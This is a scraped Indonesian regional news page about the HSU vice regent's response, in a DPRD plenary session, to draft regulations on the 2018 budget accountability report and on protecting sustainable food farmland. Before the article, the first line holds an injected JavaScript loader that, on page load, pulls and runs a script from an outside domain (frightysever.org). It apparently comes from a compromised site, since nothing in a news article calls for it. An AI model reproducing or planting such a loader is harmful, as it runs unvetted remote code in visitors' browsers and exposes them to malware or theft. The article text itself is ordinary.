(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Dua buah Rancangan Peraturan Daerah (Raperda) Kabupaten HSU terkait Raperda pertanggungjawaban pelaksanaan APBD tahun 2018 dan Raperda tentang perlindungan lahan pertanian pangan berkelanjutan mendapat respon positif ekskutif.
Wabup HSU H Husairi Abdi menyampaikan tanggapan yang disampaikannya kepada para wakil rakyat saat sidang paripurna DPRD HSU, Senin (24/6). Diantaranya, menanggapi pertanyaan fraksi terkait dengan realisasi pendapatan asli daerah tahun 2018 yang hanya mencapai 92,73%, ia menjelaskan secara keseluruhan terealisasi pendapatan daerah untuk tahun anggaran 2018 melampaui target yakni sebesar 102,35%.
Namun, ada kelompok pendapatan asli daerah terealisasi hanya sekitar 92,73% hal ini terjadi karena mendapatkan pada retribusi daerah terealisasi sebesar 91,12% dan pendapatan pada lain-lain pendapatan asli daerah yang sah terealisasi sebesar 85,35%.
Sementara, menanggapi pertanyaan fraksi dewan terkait dengan Raperda tentang perlindungan lahan pertanian pangan berkelanjutan, Husairi mengatakan, saat ini memang belum ada upaya Pemkab HSU menggali fungsi dan lahan konservasi menjadi lahan produktif. Mengingat di wilayah HSU masih banyak terdapat lahan lahan tidur terlantar yang masih bisa dijadikan lahan pertanian produktif.
Sedangkan daerah yang menjadi target utama yang akan diproteksi sebagai perlindungan lahan pertanian pangan berkelanjutan tersebar di 9 kecamatan yang berada pada kawasan budidaya tanaman pangan lahan basah atau lahan lebak.
Sementara terkait dengan lahan pertanian pangan yang sudah dialih fungsi kan baik menjadi areal perumahan ataupun areal usaha.
“Pemerintah daerah berupaya tidak akan melakukan tindakan yang dapat merugikan kelompok masyarakat atau perorangan yang telah mendapat izin penggunaan lahan baik untuk perumahan ataupun usaha lainnya. Apalagi selama ini area petani yang telah beralih fungsi berada pada lahan lebak watun satu, yaitu tidak termasuk sebagai kawasan lahan pertanian pangan berkelanjutan,†tegasnya. (dew)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.